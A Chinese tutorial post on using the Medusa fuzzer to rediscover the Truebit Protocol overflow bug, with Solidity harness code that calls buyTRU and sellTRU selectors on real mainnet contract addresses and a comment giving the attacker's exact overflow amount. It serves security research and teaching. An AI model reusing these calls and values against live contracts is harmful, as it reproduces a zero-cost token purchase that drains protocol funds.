找回密码
 立即注册
首页 业界区 安全 Medusa - 智能合约 Fuzzing 工具 Truebit Protocol 案例 ...

Medusa - 智能合约 Fuzzing 工具 Truebit Protocol 案例讲解(二)

嗳歉楞 12 小时前
案例背景

20260109,ETH 链上的 Truebit Protocol 遭受了黑客攻击,损失约 2600 万美元。漏洞原因是计算购买 TRU 代币所需要的 ETH 数量的计算公式设计存在缺陷,购买大量 TRU 代币时会因为 0.6.10 版本没有防溢出机制而发生上溢出得到 0 值,使得攻击者可以以 0 ETH 购买大量的 TRU 代币,最后抛售完成获利。
前置内容-完整攻击分析:https://www.cnblogs.com/ACaiGarden/p/19465686

  • TX:https://app.blocksec.com/explorer/tx/eth/0xcd4755645595094a8ab984d0db7e3b4aabde72a5c87c4f176a030629c47fb014
Trace 分析

1.png


  • 黑客调用 buyTRU() 函数以零成本购入大量的 TRU 代币
  • 然后调用 sellTRU() 函数卖出所有 TRU 代币完成获利
    随后攻击者利用漏洞以零或极低成本的价格购买 TRU 代币后出售的流程重复多次。
Medusa 配置

首先参考《Medusa - 智能合约 Fuzzing 工具介绍与案例讲解》中的内容对 Medusa 进行初始化与配置。
Fuzz 函数挑选与实现

Fuzz 函数挑选

在编写 fuzz 函数之前,首先要挑选需要对哪些函数进行 fuzz,可以按照以下的条件进行筛选:

  • public 或 external 的函数
  • 非 view 和 prue 的函数
  • 没有权限访问控制的函数
  • 非一次性调用的函数(如 initialize)
    其中满足以上条件的函数有
  1. - `0xa0296215(uint256)`(购买/铸造路径:依赖 `msg.value` 与定价计算,容易出现边界值/除零/舍入问题)
  2. - `0xc471b10b(uint256)`(赎回/燃烧路径:依赖 `allowance`、`transferFrom`、对外部合约调用与 ETH 转账,容易出现重入/资金守恒/状态不一致问题)
  3. - `0xdb5c0f79()`(`payable` 增加储备:fuzz `msg.value` 与多次调用组合)
复制代码
Fuzz 函数实现

在 TRUVulnerabilityFuzz 合约中,实现了对 0xa0296215(buyTRU(uint256 amount)) 和 0xc471b10b(sellTRU(uint256 amount)) 两个未开源函数的 fuzz,以及一个检查函数 property_checkBalance()

  • 0xa0296215(buyTRU(uint256 amount):需要调用 getPurchasePrice 函数(反编译的时候提供了函数名)计算对应的 msg.value ,伴随函数调用传入。
  • 0xc471b10b(sellTRU(uint256 amount)) :直接提供卖出的 TRU 代币数量,需要实现 receive 函数接收返回的 ETH 代币。但是在 fuzz 过程中 Medusa 会尝试往 receive 函数中转账,所以要添加权限控制。
  • property 函数则检查了合约的余额(初始值为 1e28)经过 sequence 操作后是否增加,如果增加则判断发现了获利的途径。
  1. contract TRUVulnerabilityFuzz is Test {
  2.     IStdCheats cheats = IStdCheats(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
  3.     address public TruebitProtocol = 0x764C64b2A09b09Acb100B80d8c505Aa6a0302EF2;
  4.     address TRU = 0xf65B5C5104c4faFD4b709d9D60a185eAE063276c;
  5.     constructor() payable {
  6.         cheats.deal(address(this), 1e28);
  7.         IERC20(TRU).approve(TruebitProtocol, type(uint256).max);
  8.     }
  9.     // fuzz buyTRU(uint256 amount)
  10.     function fuzz_0xa0296215(uint256 fuzz_amount) public {
  11.         // TruebitProtocol will check msg.value == getPurchasePrice(fuzz_amount) in 0xa0296215().
  12.         // fuzz_amount = 240442509453545333947284131;   // Amount used by hacker
  13.         uint256 ethAmount = ITruebitProtocol(TruebitProtocol).getPurchasePrice(fuzz_amount);
  14.         if (ethAmount > address(this).balance) return;
  15.         (bool ok,) = TruebitProtocol.call{value: ethAmount}(abi.encodeWithSelector(bytes4(0xa0296215), fuzz_amount));
  16.         require(ok, "Failed to call 0xa0296215");
  17.     }
  18.     // fuzz sellTRU(uint256 amount)
  19.     function fuzz_0xc471b10b(uint256 fuzz_amount) public {
  20.         // 0xc471b10b() is nonPayable
  21.         
  22.         (bool ok,) = TruebitProtocol.call(abi.encodeWithSelector(bytes4(0xc471b10b), fuzz_amount));
  23.         require(ok, "Failed to call 0xc471b10b");
  24.     }
  25.     // function fuzz_0xdb5c0f79(uint256 fuzz_value) public {
  26.     //     fuzz_value = fuzz_value > address(this).balance ? address(this).balance : fuzz_value;
  27.     //     (bool ok,) = TruebitProtocol.call{value: fuzz_value}(abi.encodeWithSelector(bytes4(0xdb5c0f79)));
  28.     //     require(ok, "Failed to call 0xdb5c0f79");
  29.     // }
  30.     function property_checkBalance() external view returns (bool) {
  31.         if (address(this).balance > 1e28) assert(false);
  32.         return true;
  33.     }
  34.     // While fuzzing, the fuzzer will send ETH to the contract.
  35.     receive() external payable {
  36.         if (msg.sender != TruebitProtocol) revert();
  37.     }
  38. }
复制代码
0xa0296215(buyTRU(uint256 amount)

在编写 fuzz 函数的时候,需要关注反编译代码中的 require 函数,尽可能地使得输入的参数满足函数要求,是能够正常执行的,这样会大幅提高命中的概率。比如在 0xa0296215 函数中,需要检查 msg.value 是否和计算的到的 v0 一致,而函数 0x1446 就是一个价格计算函数。
2.png

所以在实现 fuzz 函数的时候,需要先通过 getPurchasePrice(0x1446)计算所需要传入的 msg.value,然后再进行调用。
  1.     // fuzz buyTRU(uint256 amount)
  2.     function fuzz_0xa0296215(uint256 fuzz_amount) public {
  3.         // TruebitProtocol will check msg.value == getPurchasePrice(fuzz_amount) in 0xa0296215().
  4.         // fuzz_amount = 240442509453545333947284131;   // Amount used by hacker
  5.         uint256 ethAmount = ITruebitProtocol(TruebitProtocol).getPurchasePrice(fuzz_amount);
  6.         if (ethAmount > address(this).balance) return;
  7.         (bool ok,) = TruebitProtocol.call{value: ethAmount}(abi.encodeWithSelector(bytes4(0xa0296215), fuzz_amount));
  8.         require(ok, "Failed to call 0xa0296215");
  9.     }
复制代码
0xc471b10b(sellTRU(uint256 amount))

在编写 0xc471b10b 对应的 fuzz 函数时,检查反编译的内容,需要留意的是 nonPayable 修饰器,还有对授权额度的检查。
3.png

所以在 constructor 对代币进行了最大额度的授权,然后 call 函数避免带有 msg.value。
  1. constructor() payable {
  2.     cheats.deal(address(this), 1e28);
  3.     IERC20(TRU).approve(TruebitProtocol, type(uint256).max);
  4. }
  5. // fuzz sellTRU(uint256 amount)
  6. function fuzz_0xc471b10b(uint256 fuzz_amount) public {
  7.     // 0xc471b10b() is nonPayable
  8.    
  9.     (bool ok,) = TruebitProtocol.call(abi.encodeWithSelector(bytes4(0xc471b10b), fuzz_amount));
  10.     require(ok, "Failed to call 0xc471b10b");
  11. }
复制代码
结果分析

由于机器硬件与时间的限制,未能实际 fuzz 出结果
为了验证 fuzz 函数写的时没有问题的,尝试硬编码 fuzz_amount 为攻击者所采用的参数,可以马上得到结果。
4.png

显示 fuzz 出来满足条件的 sequence 路径如下,和攻击者执行的操作一致。
5.png

通过本案例是实践,得到的结论是,Fuzz 工程除了需要开发者非常了解目标协议,尽可能地编写出高效的测试函数,还需要高性能的机器来提供支撑。相信通过这两个入门级的案例,也能够让读者了解到,fuzz 并不是什么“灵丹妙药”。虽然它在实际应用中有着一些局限,但是在经验丰富的开发者和强大的机器支持下,仍然是一个挖掘未知漏洞的可行之法。

来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

相关推荐

您需要登录后才可以回帖 登录 | 立即注册